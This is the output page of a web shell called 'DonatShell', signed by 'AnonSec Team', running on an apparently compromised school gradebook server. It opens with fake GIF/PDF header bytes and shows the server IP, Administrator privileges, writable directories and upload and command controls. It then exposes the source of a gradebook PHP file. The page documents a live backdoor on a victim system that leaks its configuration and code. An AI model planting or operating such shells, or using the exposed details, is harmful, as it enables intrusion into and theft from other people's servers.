GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Gradebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Gradebook/Gradebook.phpinc
<?
// Gradebook/Gradebook.phpinc

debugTrackBegin();

require('Gradebook/Gradebook_css_js.phpinc');
#$f_FromGradebook = formValue('FromGradebook'); if ( !$f_FromGradebook ) $f_FromGradebook = 0;
#$f_ReturnFromGrading = formValue('ReturnFromGrading'); if ( !$f_ReturnFromGrading ) $f_ReturnFromGrading = 0;
if ( !isset($f_classId) ) $f_classId = formValue('classId');
#$f_classId = "406,365";
$f_classIdList = $f_classId;
$f_classIdArray = listToArray($f_classId);
/** /
if ( $_SERVER['REMOTE_ADDR'] == '50.82.158.167' ) {
	printVar('$f_classIdArray',$f_classIdArray);
}
/**/
#printVar('$f_classIdArray',$f_classIdArray);
$classIndex = 0;
if (dc()) printVar('$f_classId',$f_classId);
$studentIds = array();
$studentNameCharCount = 0;
foreach ($f_classIdArray as $f_classId) {
/** /
if ( $_SERVER['REMOTE_ADDR'] == '50.82.158.167' ) {
	printVar('$f_classId',$f_classId);
}
/**/
  require('Gradebook/ClassGradebook.phpinc');
  //$classIndex++;
}
?>

<div id="changeWidthDebug" style="display:none;"></div>

<script type="text/javascript">

function _Initialize_Page() {
	var DEBUG = DEBUG_OFF;
	if ( DEBUG ) { console.groupCollapsed(`${PC}_Initialize_Page[]`,CG); } else { console.log(`${PC}_Initialize_Page[]`,CH); }//
	changeView();
	if ( DEBUG ) { console.groupEnd(); }
} // END _Initialize_Page.

var fullscreen;
var name;
let StudentNameCharCount = <?=$studentNameCharCount?>;
console.log('StudentNameCharCount='+StudentNameCharCount);

function changeView() {
	var DEBUG = true;
	if ( DEBUG ) { console.group(`${PC}changeView[]`,CG); }//Collapsed
	// Change the section widths.
	var tableWidth = 1200;
	var tables = document.getElementsByClassName('sectionTable');
	for (var i=0; i<tables.length; i++) {
		if ( DEBUG ) { console.log(`${PC}sectionTable ${tables[i].id} width=${tableWidth}`,CL); }
		tables[i].style.width = tableWidth + "px";
	}
	var tdWidth = tableWidth - 22;
	var tds = document.getElementsByClassName('sectionTd');
	for (var i=0; i<tds.length; i++) {
		if ( DEBUG ) { console.log(`${PC}sectionTd ${tds[i].id} width=${tdWidth}`,CL); }
		tds[i].style.width = tdWidth + "px";
	}
	tdWidth = tableWidth - 4;
	tds = document.getElementsByClassName('contentTd');
	for (var i=0; i<tds.length; i++) {
		if ( DEBUG ) { console.log(`${PC}contentTd ${tds[i].id} width=${tdWidth}`,CL); }
		tds[i].style.width = tdWidth + "px";
	}
<?
	for ($i=0; $i<$classIndex; $i++) {
?>
	changeWidth('scrollDiv<?=$i?>');
<?
	}
?>
	if ( DEBUG ) { console.groupEnd(); }
}
// function openGradeWindow(e,fullscreen,name)
// Open the grade assignment window.
function openGradeWindow(e,fullscreen=0,name='Grade Window') {
	//if ( fullscreen == undefined ) fullscreen = 0;
	//if ( name == undefined ) name = 'Grade';
	var url = '/Gradebook/GradeEvaluation.php';
	var eIdArray = e.id.split("_");
	var cId = eIdArray[1];
	var sId = eIdArray[2];
	var uId = eIdArray[3];
	var eId = eIdArray[4];
	var lId = eIdArray[5];
	var width;
	var height;
	url += '?f_classId='+cId+'&f_sId='+sId+'&f_uId='+uId+'&f_eId='+eId+'&f_lId='+lId;
	//alert('openGradeWindow cId='+cId+' sId='+sId+' uId='+uId+' eId='+eId+' lId='+lId+' url='+url);
	if ( fullscreen == 0 ) {
		url += '&f_FromGradebook=0';
		height = 700;
		width = 1180;
	} else {
		url += '&f_FromGradebook=1';
		height = -1;
		width = -1;
	}
	url += '&CalledBy=<?=basename(__FILE__)?>:<?=__LINE__?>';
	openCenteredWindow(url,width,height,name);
} // END openGradeWindow.

// function openGradeUpdate(e)
// Open the grade report window.
function openGradeUpdate(e) {
	let name = 'Grade';
	var url = '/Gradebook/GradeUpdate.php';
	var eIdArray = e.id.split("_");
	var cId = eIdArray[0];
	var sId = eIdArray[1];
	var uId = eIdArray[2];
	var postGrades = eIdArray[3];
	var width = 1280;
	var height = 700;
	url += '?f_classId='+cId+'&f_sId='+sId+'&f_uId='+uId+'&f_postGrades='+postGrades;
	url += '&CalledBy=<?=basename(__FILE__)?>:<?=__LINE__?>';
	//console.log(`openCenteredWindow(${url},${width},${height},${name});`);
	openCenteredWindow(url,width,height,name);
} // END openGradeUpdate.

</script>
<?
$f_classId = $f_classIdList;

#setDebugOn();
#setDebugOff();
debugTrackEnd();
require('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team